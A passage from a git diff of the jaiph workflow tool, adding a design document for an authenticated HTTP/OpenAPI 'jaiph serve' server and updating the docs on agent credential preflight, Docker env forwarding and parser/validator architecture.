workflows must be deployable (docker/kubernetes), invokable over the network, and inspectable through an API, ideally with a UI on top. HTTP + OpenAPI is the lingua franca: it turns the existing runtime image into a deployable service, and Swagger UI doubles as the first inspection/invocation UI at near-zero cost. + +Goals, in order: + +1. **Workflows as HTTP endpoints** — the same exposure rules as MCP (`deriveTools`): `export workflow` narrows, channel route targets are excluded, descriptions come from `#` comments. +2. **Self-describing** — `GET /openapi.json` and `GET /docs` (Swagger UI). The OpenAPI document is generated from the same tool specs the endpoints enforce, so schema and behavior cannot drift. +3. **Runs as resources** — `POST` creates a durable run under `.jaiph/runs/`; `GET` inspects status, result, the event journal (live-streamable), and artifacts. +4. **Zero runtime dependencies** — hand-rolled on `node:http`, exactly as the MCP JSON-RPC surface was hand-rolled instead of pulling in an SDK. +5. **Reuse the execution layer** — `callWorkflow` (`src/cli/mcp/call.ts`) with unchanged semantics: same env-driven sandbox selection, artifacts, credential preflight, and `--env` passthrough as `jaiph run`/`jaiph mcp`. + +## CLI surface + +``` +jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... +``` + +- Defaults: `--host 127.0.0.1`, `--port 5247` (J-A-I-P on a phone keypad). +- `--workspace` and repeatable `--env` behave exactly as in `jaiph mcp` (`parseArgs`/`resolveEnvPairs`). +- Startup validation identical to `jaiph mcp`: `loadModuleGraph` + `collectDiagnostics`; diagnostics → stderr, exit 1. +- All logs go to stderr; one startup line prints the listen URL and the `/docs` URL. +- Shutdown: first SIGINT/SIGTERM stops accepting connections and lets in-flight runs finish; a second signal cancels in-flight runs (child kill + container stop, as MCP cancellation does); exit 0. + +## HTTP surface + +| Method & path | Auth | Behaviour | +|---|---|---| +| `GET /` | none | `302` → `/docs`. | +| `GET /healthz` | none | `200 {status:"ok", version, tools, in_flight}`. Readiness/liveness probe target. | +| `GET /openapi.json` | none | OpenAPI 3.1 document, regenerated per request from the current generation (hot reload needs no cache invalidation). | +| `GET /docs` | none | Swagger UI HTML shell. | +| `GET /v1/workflows` | bearer | `{workflows: [{name, description, params}]}` from `deriveTools`. | +| `POST /v1/workflows/{name}/runs` | bearer | Start a run. Body: JSON object of params (all strings, required, `additionalProperties: false` — mirrors the MCP input schema). Default: `202` + run object (`status:"running"`) + `Location: /v1/runs/{id}`. `?wait=true`: respond only when terminal, `200` + final run object. | +| `GET /v1/runs` | bearer | Runs started by this server process (in-memory registry), newest first. | +| `GET /v1/runs/{id}` | bearer | Run object (below). `404` unknown. | +| `GET /v1/runs/{id}/events` | bearer | The run's `run_summary.jsonl`. `Accept: text/event-stream` → SSE: replay journal, then follow live until the run is terminal. Otherwise `application/x-ndjson` snapshot. | +| `GET /v1/runs/{id}/artifacts` | bearer | List of published artifacts (relative paths under the run's `artifacts/`). | +| `GET /v1/runs/{id}/artifacts/{path}` | bearer | Artifact download (`application/octet-stream`); path-traversal guarded. | +| `POST /v1/runs/{id}/cancel` | bearer | `202`; run reaches `status:"cancelled"`. `409` if already terminal. | + +**Run object:** `{run_id, workflow, status: "running"|"succeeded"|"failed"|"cancelled", started_at, ended_at, exit_status, signal, result_text, run_dir}`. `result_text` is `composeResult`'s text (same content an MCP client sees), so results are mode-agnostic. + +**Error shape:** `{error: {code, message}}` with proper status codes: `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `400 E_BAD_ARGS` (missing/non-string/unexpected param key), `405`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB JSON body cap), `415` (POST without `application/json`), `429 E_TOO_MANY_RUNS`. **A workflow failure is not an HTTP error** — the run object reports `status:"failed"` with `result_text` carrying the same failure narrative as MCP (`failed step`, excerpts, `run dir:`). + +## Auth model + +- Token from `JAIPH_SERVE_TOKEN` (env, never argv — argv leaks into process listings). Requests carry `Authorization: Bearer `; comparison is constant-time (`timingSafeEqual`). +- **Fail closed on exposure:** binding a non-loopback `--host` without `JAIPH_SERVE_TOKEN` is a startup error. On loopback the token is optional. +- Unauthenticated endpoints (`/healthz`, `/openapi.json`, `/docs`) expose schema metadata only — workflow names, descriptions, and param names; never execution, run data, or artifacts. This is a deliberate trade so probes work and a browser can open `/docs` (browsers can't attach headers on navigation; Swagger UI's Authorize box supplies the bearer for the actual calls, with `persistAuthorization: true`). Documented plainly. +- No TLS in-process: deploy behind a reverse proxy / ingress. Documented, not compensated for. + +## Execution model & run registry + +- Reuse `callWorkflow` + `McpCallEnvironment` from `src/cli/mcp/call.ts`. Two small generalizations (MCP behavior unchanged): + - the caller supplies `runId` (today `randomUUID()` is created inside `callWorkflow`, `call.ts:77`) so the server can register the run before the child exits; + - `McpCallResult` gains `{runDir?, exitStatus?, signal?}` from `composeResult`'s inputs, so the server can populate the run object. Rename to `WorkflowCallResult` and move the module to `src/cli/exec/call.ts` shared by mcp + serve (hard-rewrite rename; `mcp` re-exports nothing). +- Generation state (module graph, `deriveTools`, scripts dir, hot reload via `watchFile`) is the same machinery as `commands/mcp.ts` (`loadState`, `rewatch`) — extract to `src/cli/shared/generation.ts` and use from both commands. Reload swaps the tool set and the OpenAPI content; in-flight runs keep their generation's scripts dir (per-generation dirs already make this safe — but the previous generation's dir must survive until its in-flight runs finish, so deletion is refcounted rather than immediate as in MCP today). +- Registry: in-memory `Map` (record = run object + cancel handle). Lost on restart; run dirs on disk remain the durable record. Documented. +- Concurrency cap: `JAIPH_SERVE_MAX_CONCURRENT` (default 4) on simultaneously-running workflows → `429` beyond it. Each HTTP-triggered run is a full sandboxed run (a container by default) — an uncapped public POST endpoint is a fork bomb. +- Sandbox posture: identical to `jaiph mcp` — env-driven Docker selection resolved once at startup, image prepared once, per-call snapshot isolation by default, `JAIPH_INPLACE=1` / `JAIPH_UNSAFE=true` opt-outs, credential preflight demoted to warnings, startup notice describing the mode. + +## OpenAPI generation + +- Hand-rolled document (a pure function `buildOpenApi(tools, serverInfo)` in `src/cli/serve/openapi.ts` — no generator dependency), OpenAPI **3.1.0**. +- One **concrete path per workflow** (`/v1/workflows/build_release/runs`), not a single parameterized path: each gets its own `description` (the workflow's `#` comments), `operationId`, and request-body schema (the exact MCP `inputSchema` object). This is what makes Swagger UI a usable per-workflow form. +- Plus the static run-resource paths, the run-object component schema, the error schema, and `components.securitySchemes.bearer` (`type: http, scheme: bearer`) applied to `/v1/*`. +- `info.title` = `jaiph — `, `info.version` = jaiph `VERSION`. +- Validity is enforced by test: a dev-dependency OpenAPI 3.1 schema validator runs in unit tests only (runtime stays zero-dep). + +## Swagger UI + +`GET /docs` returns a small static HTML shell loading `swagger-ui-dist` from a CDN — **pinned exact version + SRI `integrity` hashes + `crossorigin="anonymous"`** — and initializing `SwaggerUIBundle({url: "/openapi.json", persistAuthorization: true})`. + +Decision: CDN shell over embedding. Embedding swagger-ui (~1.5 MB js+css) via the existing `tools/embed-assets.js` mechanism would bloat every `jaiph` binary for one page; the shell is ~20 lines. Consequence, documented plainly: `/docs` needs internet access in the browser; air-gapped operators still have `/openapi.json`, which any locally-hosted Swagger/Redoc/Scalar renders. Revisit embedding only if air-gapped demand materializes. + +## Events streaming + +`GET /v1/runs/{id}/events` reads the run's `run_summary.jsonl` — the durable journal is the single source: it is complete (the live stderr stream lacks `WORKFLOW_*` events), already credential-redacted, hash-chained, and present on the host in every sandbox mode (the run dir is a host mount). + +- NDJSON mode: stream the file's current content, close. +- SSE mode: replay all existing lines (`data: `), then poll the file (~250 ms) appending new lines as they land; when the registry marks the run terminal, emit `event: end` and close. Heartbeat comment lines (`:ka`) every 15 s keep proxies from idling the connection out. +- Clients never get un-redacted content: raw `%06d-*.out/.err` capture files are not exposed (only journal excerpts and published artifacts are). + +## Testing + +- Unit: request router/handlers as a class with injected `{getTools, callTool, registry, token, now}` (the `McpServer` pattern) — auth matrix, arg validation, error shapes, wait semantics, cancel, cap, OpenAPI content, SSE framing against a fake journal. +- Unit: `buildOpenApi` output passes a real OpenAPI 3.1 schema validator (devDep). +- Integration: real server on port 0 against a fixture `.jh` — full lifecycle (POST → 202 → poll → succeeded → events → artifacts), `wait=true` round-trip of a return value, workflow failure as `status:"failed"` with HTTP 200, hot reload surfacing a new workflow in `/openapi.json` without restart. +- e2e: curl-driven script in `e2e/tests/` (host mode + one Docker-sandboxed call). + +## Documentation + +- `docs/serve.md` — how-to: starting, auth, invoking with curl, Swagger UI, streaming events, deployment pointers. +- `docs/cli.md` — `jaiph serve` reference; `printUsage` in `src/cli/shared/usage.ts`; README feature bullet. +- `docs/env-vars.md` — rows for `JAIPH_SERVE_TOKEN`, `JAIPH_SERVE_MAX_CONCURRENT` (the src-parity lint pins this). +- Safety paragraph mirroring MCP's: an HTTP-exposed workflow is arbitrary shell reachable by anyone holding the token — that is the point; bind/token/proxy guidance follows. + +## Out of scope (queued or future) + +- A dedicated web UI beyond Swagger (a static viewer over `/v1/runs` + SSE is the natural next step once this API exists). +- TLS termination, CORS (denied by default — no `Access-Control-Allow-Origin` header until a UI needs it), rate limiting beyond the concurrency cap. +- Serving multiple `.jh` files from one server; webhooks/callbacks on run completion. +- OTLP/Sentry telemetry export (queued separately — it hooks run completion generically, not serve specifically). diff --git a/docs/_layouts/docs.html b/docs/_layouts/docs.html index af89fc1c..d7053a1c 100644 --- a/docs/_layouts/docs.html +++ b/docs/_layouts/docs.html @@ -54,6 +54,7 @@
  • Use & publish a library
  • Save artifacts
  • Write & run tests
  • +
  • Serve workflows as MCP tools
  • Reference
  • CLI
  • Configuration
  • diff --git a/docs/agent-auth.md b/docs/agent-auth.md index 166afece..d30b2cae 100644 --- a/docs/agent-auth.md +++ b/docs/agent-auth.md @@ -20,9 +20,20 @@ This recipe sets the credentials each agent backend needs so the CLI's credentia |---|---|---|---| | `claude` | `ANTHROPIC_API_KEY` **or** `CLAUDE_CODE_OAUTH_TOKEN` | warn only (a stored Claude CLI login may still work) | hard error `E_AGENT_CREDENTIALS` | | `cursor` | `CURSOR_API_KEY` | warn only (a stored `cursor-agent login` may still work) | hard error `E_AGENT_CREDENTIALS` | -| `codex` | `OPENAI_API_KEY` | hard error `E_AGENT_CREDENTIALS` (no CLI-login fallback) | hard error `E_AGENT_CREDENTIALS` — `OPENAI_*` is **not** on the Docker env allowlist, so a host-only key is treated as missing | +| `codex` | `OPENAI_API_KEY` | hard error `E_AGENT_CREDENTIALS` (no CLI-login fallback) | hard error `E_AGENT_CREDENTIALS` when `OPENAI_API_KEY` is unset on the host (`OPENAI_API_KEY` is forwarded into the container) | -Under Docker sandboxing the host-side stored logins (Keychain entries, `~/.claude`, `cursor-agent login`) do **not** cross the container boundary. Only allowlisted host env vars are forwarded (`JAIPH_*`, `ANTHROPIC_*`, `CLAUDE_*`, `CURSOR_*`; see [Sandboxing](sandboxing.md#what-docker-protects-against)). Set credentials on the **host** so the allowlist can forward them into the container. +Under Docker sandboxing the host-side stored logins (Keychain entries, `~/.claude`, `cursor-agent login`) do **not** cross the container boundary. Only `JAIPH_*` run-control keys plus the credential keys in the table above are forwarded, and credential keys only for the backends the entry file selects (see [Sandboxing](sandboxing.md#what-docker-protects-against)). Set credentials on the **host** so the allowlist can forward them into the container; forward anything else per key with `--env` (an intentional allowlist bypass). + +### Which backends get checked + +The pre-flight validates every backend the entry file could reach: **each backend the entry file declares, plus the effective default backend.** The default is `cursor` unless `JAIPH_AGENT_BACKEND` overrides it, and it is always included because `prompt` steps that name no backend fall back to it. Each backend is checked independently, so a file that reaches more than one backend can emit more than one warning or error in a single pre-flight. + +The default is deduplicated against your declarations, so **where** you set the backend decides whether the `cursor` default is also checked: + +- **Module scope** — `config { agent.backend = "claude" }` at the top of the file makes `claude` the effective default, so only `claude` is checked. +- **Workflow scope only** — `config { agent.backend = "claude" }` inside a workflow, with no module-level backend, leaves `cursor` as the default. The pre-flight then checks **both** `claude` and `cursor`. Under Docker that makes a missing `CURSOR_API_KEY` a hard error even when every prompt targets Claude. + +To check only the backend you intend to use, set it at module scope or export `JAIPH_AGENT_BACKEND` — either one becomes the default and absorbs the extra check. See [Configure backend/model](/how-to/configure-backend) for the config scopes. ## 1. Authenticate Claude @@ -55,9 +66,7 @@ For host runs only, an interactive `cursor-agent login` (stored on disk) also sa export OPENAI_API_KEY="sk-..." ``` -`OPENAI_API_KEY` is required on **both** host and Docker runs. The `codex` backend has no CLI-login fallback — there is no warning path. - -Under Docker, `OPENAI_*` is outside the forwarding allowlist, so preflight treats a host-only `OPENAI_API_KEY` as missing even when you export it. Codex workflows need `jaiph run --unsafe` (host execution) or a different backend inside the sandbox. +`OPENAI_API_KEY` is required on **both** host and Docker runs. The `codex` backend has no CLI-login fallback — there is no warning path. Under Docker, export the key on the host; it crosses the container boundary via the env allowlist when the entry file selects `codex` (same per-backend rule as `ANTHROPIC_API_KEY` / `CURSOR_API_KEY`). To target an OpenAI-compatible endpoint instead of the default, set `JAIPH_CODEX_API_URL` to the chat-completions URL (`JAIPH_*` is forwarded under Docker). @@ -67,7 +76,7 @@ To target an OpenAI-compatible endpoint instead of the default, set `JAIPH_CODEX jaiph run ./flow.jh ``` -The pre-flight runs before the banner. Hard failures print a stderr message naming the backend, the model (when `agent.default_model` is set), the entry `.jh` file, the config scope that picked the backend (`module config`, `workflow `, `JAIPH_AGENT_BACKEND env`, or `default`), and the concrete remedy. The error code is `E_AGENT_CREDENTIALS`. Host-only warnings for `claude` and `cursor` use the same header fields with a `jaiph: warning:` prefix. +The pre-flight runs before the banner. Hard failures print a stderr message naming the backend, the model (when `agent.model` is set), the entry `.jh` file, the config scope that picked the backend (`module config`, `workflow `, `JAIPH_AGENT_BACKEND env`, or `default`), and the concrete remedy. The error code is `E_AGENT_CREDENTIALS`. Host-only warnings for `claude` and `cursor` use the same header fields with a `jaiph: warning:` prefix. ## Skip the pre-flight (escape hatch) diff --git a/docs/architecture.md b/docs/architecture.md index 6dc87d33..b5c1dcf2 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -36,20 +36,20 @@ All orchestration — local `jaiph run`, `jaiph test`, and **Docker `jaiph run`* - **CLI (`src/cli`, invoked via compiled `src/cli.ts` → `dist/src/cli.js`)** - Entry point (`run`, `test`, `compile`, `init`, `install`, `use`, `format`). Paths ending in `.jh` / `.test.jh` are also accepted as implicit commands (see `src/cli/index.ts`). - - **Workflow launch** is owned in TypeScript (`src/runtime/kernel/workflow-launch.ts` + `src/cli/run/lifecycle.ts`): spawns the runner via **`process.execPath`** and the **`__workflow-runner`** argv marker. **`runWorkflowRunner`** (`src/runtime/kernel/node-workflow-runner.ts`) handles that argv, loads or reads the module graph, calls **`buildRuntimeGraph()`**, then **`NodeWorkflowRuntime.runDefault()`**. The **`default`** workflow name is wired in **`buildRunModuleLaunch`** (`workflow-launch.ts`). `setupRunSignalHandlers` accepts an optional `onSignalCleanup` callback for Docker sandbox teardown on SIGINT/SIGTERM. + - **Workflow launch** is owned in TypeScript (`src/runtime/kernel/workflow-launch.ts` + `src/cli/run/lifecycle.ts`): spawns the runner via **`process.execPath`** and the **`__workflow-runner`** argv marker. **`runWorkflowRunner`** (`src/runtime/kernel/node-workflow-runner.ts`) handles that argv, loads or reads the module graph, calls **`buildRuntimeGraph()`**, then **`NodeWorkflowRuntime.runDefault()`**. The **`default`** workflow name is wired in **`buildRunModuleLaunch`** (`workflow-launch.ts`). `setupRunSignalHandlers` accepts an optional `onSignalCleanup` callback for Docker sandbox teardown on SIGINT/SIGTERM — for a Docker-backed run it is `stopDockerRunOnSignal`, which force-removes the container (`docker rm -f`) before deleting the host sandbox clone so an interrupt cannot orphan a running container (see [Docker runtime helper](#core-components)). - Parses runtime events and renders progress (except `--raw`); dispatches hooks. - **Parser (`src/parser.ts`, `src/parse/*`)** - Converts `.jh`/`.test.jh` into a **semantic AST** (`jaiphModule`) plus a parallel **`Trivia`** store of source-fidelity data. `parsejaiphWithTrivia(source, filePath)` returns `{ ast, trivia }`; the legacy `parsejaiph(source, filePath)` is a thin wrapper that returns only the `ast` for consumers that don't need round-trip data. Both entry points are I/O-pure. - - Reusable primitives: `parseFencedBlock()` (`src/parse/fence.ts`) handles triple-backtick fenced bodies with optional lang tokens for scripts and inline scripts. `parseTripleQuoteBlock()` (`src/parse/triple-quote.ts`) handles `"""..."""` blocks for prompts, `const`, `log`, `logerr`, `fail`, `return`, and `send` — all positions where multiline strings appear. `canonicalizeTripleQuotedString()` (same file) reproduces the dedent + escape decoding that match-arm bodies still need (they carry an unprocessed `tripleQuoteBodyToRaw`-shaped string plus a `tripleQuotedBody` flag rather than being dedented at parse time); both the validator and the runtime call it, so "what the validator inspects" and "what the runtime executes" are bit-for-bit identical. + - Reusable primitives: `parseFencedBlock()` (`src/parse/fence.ts`) handles triple-backtick fenced bodies with optional lang tokens for scripts and inline scripts; `parseFencedScriptBlock()` wraps it with common-margin dedent for executable script bodies. `parseTripleQuoteBlock()` (`src/parse/triple-quote.ts`) handles `"""..."""` blocks for prompts, `const`, `log`, `logerr`, `fail`, `return`, and `send` — all positions where multiline strings appear. `canonicalizeTripleQuotedString()` (same file) reproduces the dedent + escape decoding that match-arm bodies still need (they carry an unprocessed `tripleQuoteBodyToRaw`-shaped string plus a `tripleQuotedBody` flag rather than being dedented at parse time); both the validator and the runtime call it, so "what the validator inspects" and "what the runtime executes" are bit-for-bit identical. - **Unified `run` / `ensure` host parsing.** `run ref(...)`, `run async ref(...)`, and `ensure ref(...)`, optionally followed by `catch (binding) { ... }` (any host) or `recover(binding) { ... }` (`run` only), are parsed by a single helper `parseRunOrEnsure` in `src/parse/workflow-brace.ts`. The attached `catch` / `recover` clause — bindings, body shape (multi-line `{ … }`, inline `{ stmt[; stmt]* }`, or single-statement) — is parsed by **one** helper `parseAttachedBlock(filePath, lines, idx, …, keyword, textAfterKeyword, trivia)` in `src/parse/steps.ts`. There is no separate mini parser for catch/recover bodies: `parseAttachedBlock` delegates each body statement to the **same** `parseBlockStatement` (`src/parse/workflow-brace.ts`) that handles top-level statements, so every statement form accepted in a workflow / rule body is accepted identically inside a `catch` / `recover` body. "Is this statement allowed inside a catch/recover body?" is a validator concern (the `RULE_SCOPE` / `WORKFLOW_SCOPE` distinction in `validate-step.ts`), not enforced by which mini-parser branches happened to fire. `src/parse/steps.ts` is bounded at **≤200 lines** by `src/parse/parse-attached-block.test.ts`, which also asserts no function named `parse(Run)?(Catch|Recover|EnsureStep)` reappears. - - **Keyword dispatch table.** Inside `parseBlockStatement` (`src/parse/workflow-brace.ts`), every workflow / rule body line that does not begin with `#` is routed by a single `STATEMENT: Record` table keyed by the leading identifier — there is no longer a `startsWith` cascade where `"run async "` must be tested before `"run "` and `"prompt "` must be tested before a bare assignment. The dispatcher tokenizes the first identifier on the trimmed line, looks it up once, and invokes the matching handler (`tryParseIf` / `tryParseFor` / `tryParseConst` / `tryParseFail` / `tryParseWait` / `tryParseEnsure` / `tryParseRun` / `tryParsePrompt` / `tryParseLog` / `tryParseLogerr` / `tryParseReturn` / `tryParseStandaloneMatch`), which either returns a `{ step, nextIdx }` result, returns `null` to fall through, or calls `fail(...)` to abort. Two non-keyword fallbacks fire after the table lookup in order: `trySend` (matches `channel <- rhs` via `matchSendOperator`) then `shellFallthrough` (everything else becomes a shell `exec` step). Assignment-shape error guards (`name = prompt …`, `name = run …` without `const`, plus the `forRule` rejection of `prompt`) run once before dispatch in `applyAssignmentGuards(c)`. The per-line context (`filePath`, `lines`, `idx`, `innerRaw`, `inner`, `innerNo`, `trivia`, `forRule`, `opts`) is threaded through handlers as a single `BlockCtx` record. **Adding a new top-level keyword is a two-file change:** one row in `STATEMENT` (`workflow-brace.ts`) plus one entry in the `JAIPH_KEYWORDS` reserved set (`core.ts`) — pinned by `src/parse/parse-synthetic-keyword.test.ts`, which patches `STATEMENT` at runtime with a synthetic `zzznoop` handler, asserts dispatch fires, asserts the same input falls through to the shell handler when the row is removed, and greps both source files to confirm each symbol lives in exactly one place. Every existing parse-error message, line, and column is preserved bit-for-bit: `src/parse/parse-error-snapshot.test.ts` walks every `=== name` block in `test-fixtures/compiler-txtar/parse-errors.txt`, captures `{ file, line, col, code, message }` for each, and diffs against the snapshot stored at `test-fixtures/compiler-txtar/parse-errors-snapshot.json` (refreshable with `UPDATE_SNAPSHOTS=1` only after confirming the change is intentional). The wider tokenizer rewrite — the ad-hoc `inDoubleQuote` / `inTripleQuote` / `braceDepth` scanners replicated across `src/parse/`, the line-walking `{ step, nextIdx }` contract, and the per-handler regex bodies — is **not** part of this refactor and remains future work. + - **Keyword dispatch table.** Inside `parseBlockStatement` (`src/parse/workflow-brace.ts`), every workflow / rule body line that does not begin with `#` is routed by a single `STATEMENT: Record` table keyed by the leading identifier — there is no longer a `startsWith` cascade where `"run async "` must be tested before `"run "` and `"prompt "` must be tested before a bare assignment. The dispatcher tokenizes the first identifier on the trimmed line, looks it up once, and invokes the matching handler (`tryParseIf` / `tryParseFor` / `tryParseConst` / `tryParseFail` / `tryParseEnsure` / `tryParseRun` / `tryParsePrompt` / `tryParseLog` / `tryParseLogerr` / `tryParseLogwarn` / `tryParseReturn` / `tryParseStandaloneMatch` / `tryParseElseError`, plus `tryParseWait` — a removal tombstone whose only job is to `fail` with `"wait" has been removed from the language`), which either returns a `{ step, nextIdx }` result, returns `null` to fall through, or calls `fail(...)` to abort. Two non-keyword fallbacks fire after the table lookup in order: `trySend` (matches `channel <- rhs` via `matchSendOperator`) then `shellFallthrough` (everything else becomes a shell `exec` step). Assignment-shape error guards (`name = prompt …`, `name = run …` without `const`, plus the `forRule` rejection of `prompt`) run once before dispatch in `applyAssignmentGuards(c)`. The per-line context (`filePath`, `lines`, `idx`, `innerRaw`, `inner`, `innerNo`, `trivia`, `forRule`, `opts`) is threaded through handlers as a single `BlockCtx` record. **Adding a new top-level keyword is a two-file change:** one row in `STATEMENT` (`workflow-brace.ts`) plus one entry in the `JAIPH_KEYWORDS` reserved set (`core.ts`) — pinned by `src/parse/parse-synthetic-keyword.test.ts`, which patches `STATEMENT` at runtime with a synthetic `zzznoop` handler, asserts dispatch fires, asserts the same input falls through to the shell handler when the row is removed, and greps both source files to confirm each symbol lives in exactly one place. Every existing parse-error message, line, and column is preserved bit-for-bit: `src/parse/parse-error-snapshot.test.ts` walks every `=== name` block in `test-fixtures/compiler-txtar/parse-errors.txt`, captures `{ file, line, col, code, message }` for each, and diffs against the snapshot stored at `test-fixtures/compiler-txtar/parse-errors-snapshot.json` (refreshable with `UPDATE_SNAPSHOTS=1` only after confirming the change is intentional). The wider tokenizer rewrite — the ad-hoc `inDoubleQuote` / `inTripleQuote` / `braceDepth` scanners replicated across `src/parse/`, the line-walking `{ step, nextIdx }` contract, and the per-handler regex bodies — is **not** part of this refactor and remains future work. - **AST / Types (`src/types.ts`)** - Shared compile-time schema (`jaiphModule`, step defs, test defs, hook payload types). The semantic AST carries **only** what the validator, emitter, transpiler, and runtime need; surface-form data that exists purely to round-trip the formatter (leading comments on imports / channels / `const` / `test` blocks, top-level emit order, `config` body sequence, `"""..."""` flags on `literal` / `return` / `log` / `logerr` / `fail` / `send` / `const`, the `bareSource` of `return `, and prompt / script `bodyKind` discriminators) lives in **`Trivia`** instead — see [Trivia (CST layer)](#trivia-cst-layer). - **One `Expr` for every value position.** Anywhere a value can appear — `const name = …`, `return …`, `send channel <- …`, `log` / `logerr` / `fail` arguments, and the body of an `exec` statement — the AST stores a single tagged union: `Expr = literal | call | ensure_call | inline_script | prompt | match | shell | bare_ref`. There is **no longer** a separate `ConstRhs` union, `SendRhsDef` union, or `managed:` sidecar on `return` / `log` / `logerr` (the placeholder strings `"__match__"` / `"run inline_script"` / `"__JAIPH_MANAGED__"` are gone too — a meta-test in `src/types-shape.test.ts` fails if any reappear under `src/`). The eight `Expr` kinds: `literal` (verbatim source text — quoted string, `$var` / `${var}` form, or post-dedent triple-quoted body), `call` (managed workflow/script call; `async: true` for `run async ref(...)` capture position), `ensure_call` (managed rule call), `inline_script` (`` `body`(args) `` or fenced), `prompt` (carries the JSON-quoted body and optional flat `returns` schema), `match` (a `match { ... }` evaluated for its value), `shell` (raw shell fragment used as a managed substitution on the send RHS), and `bare_ref` (bare symbol on a send RHS — always rejected by the validator, preserved so the error message can name the symbol). - - **Eight `WorkflowStepDef` variants** (down from fourteen): `exec` (side-effecting managed call statement — was `run` / `ensure` / `run_inline_script` / `prompt` / standalone `match` / inline `shell`; the discriminator now lives inside `body.kind`, with `captureName` / `catch` / `recover` as step-level attributes); `const`, `return`, `send` (bind, propagate, or emit an `Expr`); `say` (was `log` / `logerr` / `fail` — `level: "fail"` aborts the workflow with the message, otherwise the message is written to the corresponding stream); `if` / `for_lines` (control flow, unchanged shape); `trivia` (formatter-only `comment` / `blank_line` slots — skipped by the runtime and validator). A type-level exhaustive `switch` in `src/types-shape.test.ts` pins both the step count at **8** and the `Expr` kind count at **8**. - - **Call arguments are a typed sum.** Every call-bearing `Expr` (`call`, `ensure_call`, `inline_script`) carries `args?: Arg[]` where `Arg = { kind: "literal"; raw: string } | { kind: "var"; name: string }`. The parser classifies each argument once (a bare in-scope-style identifier becomes `var`; everything else — quoted strings, `${…}` interpolations, nested `run …` / `ensure …` calls, inline-script bodies — is stored verbatim as `literal`). There is no separate `args: string` text payload or shadow `bareIdentifierArgs: string[]` field, and no downstream consumer re-parses call arguments: the validator walks the typed list to enforce arity, reject nested unmanaged calls inside literals, and resolve `var` refs against in-scope bindings; the emitter renders by mapping each `Arg` to its source form; the runtime turns `Arg[]` back into a runtime string via `argsToRuntimeString` (`var` → `${name}`, `literal` → raw) so the existing handle-resolution / interpolation path is unchanged. + - **Eight `WorkflowStepDef` variants** (down from fourteen): `exec` (side-effecting managed call statement — was `run` / `ensure` / `run_inline_script` / `prompt` / standalone `match` / inline `shell`; the discriminator now lives inside `body.kind`, with `captureName` / `catch` / `recover` as step-level attributes); `const`, `return`, `send` (bind, propagate, or emit an `Expr`); `say` (was `log` / `logerr` / `logwarn` / `fail` — `level: "fail"` aborts the workflow with the message, otherwise the message is written to the corresponding stream); `if` / `for_lines` (control flow, unchanged shape); `trivia` (formatter-only `comment` / `blank_line` slots — skipped by the runtime and validator). A type-level exhaustive `switch` in `src/types-shape.test.ts` pins both the step count at **8** and the `Expr` kind count at **8**. + - **Call arguments are a typed sum.** Every call-bearing `Expr` (`call`, `ensure_call`, `inline_script`) carries `args?: Arg[]` where `Arg = { kind: "literal"; raw: string } | { kind: "var"; name: string }`. The parser classifies each argument once (a bare identifier or bare `IDENT.IDENT` typed-prompt field access becomes `var`; everything else — quoted strings, nested `run …` / `ensure …` calls, inline-script bodies, and illicit unquoted `${…}` forms — is stored as `literal`). There is no separate `args: string` text payload or shadow `bareIdentifierArgs: string[]` field, and no downstream consumer re-parses call arguments: the validator walks the typed list to enforce arity, reject nested unmanaged calls inside literals, reject unquoted `${…}` call args (`E_VALIDATE` — interpolation belongs inside strings; use bare `name` / `result.role`), resolve `var` refs against in-scope bindings (and dotted `var` names against typed-prompt schemas), and check `${var.field}` embedded inside quoted literal args; the emitter renders by mapping each `Arg` to its source form; the runtime turns `Arg[]` back into a runtime string via `argsToRuntimeString` (`var` → `${name}`, `literal` → raw) so the existing handle-resolution / interpolation path is unchanged. - **Trivia / CST layer (`src/parse/trivia.ts`)** {: #trivia-cst-layer} @@ -58,7 +58,7 @@ All orchestration — local `jaiph run`, `jaiph test`, and **Docker `jaiph run`* - **Validator (`src/transpile/validate.ts` + `src/transpile/validate-step.ts`)** - Resolves imports and symbol references; emits deterministic compile-time errors. Import resolution (`resolveImportPath` in `transpile/resolve.ts`) checks relative paths first, then falls back to project-scoped libraries under `/.jaiph/libs/` — the workspace root is threaded through all compilation call sites. Export visibility is enforced by `validateRef` in `validate-ref-resolution.ts`: if an imported module declares any `export`, only exported names are reachable through the import alias. - - **Two-file split.** `validate.ts` owns the **outer** layer: import / channel-route / test-block checks plus `walkStepTree` (the single descent that builds `{ knownVars, promptSchemas, flat }` for each workflow / rule). `validate-step.ts` owns the **per-step** visitor: one row per `WorkflowStepDef.type` in a `VALIDATORS: Record` table, a single `validateExpr` dispatcher over the 8 `Expr.kind` values, and the call-shape / channel / string-content helpers. `validate.ts` is bounded at **≤700 lines** (currently ~450) by a CI-style test in `src/transpile/validate-visitor.test.ts`; new validators belong in `validate-step.ts`. + - **Two-file split.** `validate.ts` owns the **outer** layer: import / channel-route / test-block checks plus `walkStepTree` (the single descent that builds `{ knownVars, promptSchemas, flat }` for each workflow / rule). `validate-step.ts` owns the **per-step** visitor: one row per `WorkflowStepDef.type` in a `VALIDATORS: Record` table, a single `validateExpr` dispatcher over the 8 `Expr.kind` values, and the call-shape / channel / string-content helpers. `validate.ts` is bounded at **≤700 lines** (currently ~470) by a CI-style test in `src/transpile/validate-visitor.test.ts`; new validators belong in `validate-step.ts`. - **Visitor table + scope.** Per-step validation has one entry point — `validateStep(step, ctx)` in `validate-step.ts`. It looks the step's `type` up in `VALIDATORS` (the dispatch table), then consults `ctx.scope.allowSteps` (a `Set`) once to decide whether this step is permitted in the current scope. Two scopes exist: `WORKFLOW_SCOPE` (allows every step variant including `send` and `prompt`) and `RULE_SCOPE` (rejects `send` outright; rejects `prompt` and `run async` from inside `exec` bodies). The scope also carries `runRefExpect` (`RUN_TARGET_REF_EXPECT` for workflows, `RUN_IN_RULE_REF_EXPECT` for rules) and `withPromptSchemas` (workflows collect prompt-returning bindings; rules skip schema collection). Adding a new step type requires exactly one row in `VALIDATORS` and, if the rule/workflow split needs to differ, an entry in `Scope.allowSteps` — an `AC4` test in `validate-visitor.test.ts` injects a synthetic step type and asserts it produces exactly one diagnostic with the documented `internal: no validator for step type "…"` message until the row is added. - **Single managed-call-shape helper.** Every `call` / `ensure_call` site runs the same five checks against the typed `Arg[]` directly — shell-redirection rejection (only `literal` args are scanned), nested-unmanaged-call rejection inside `literal` 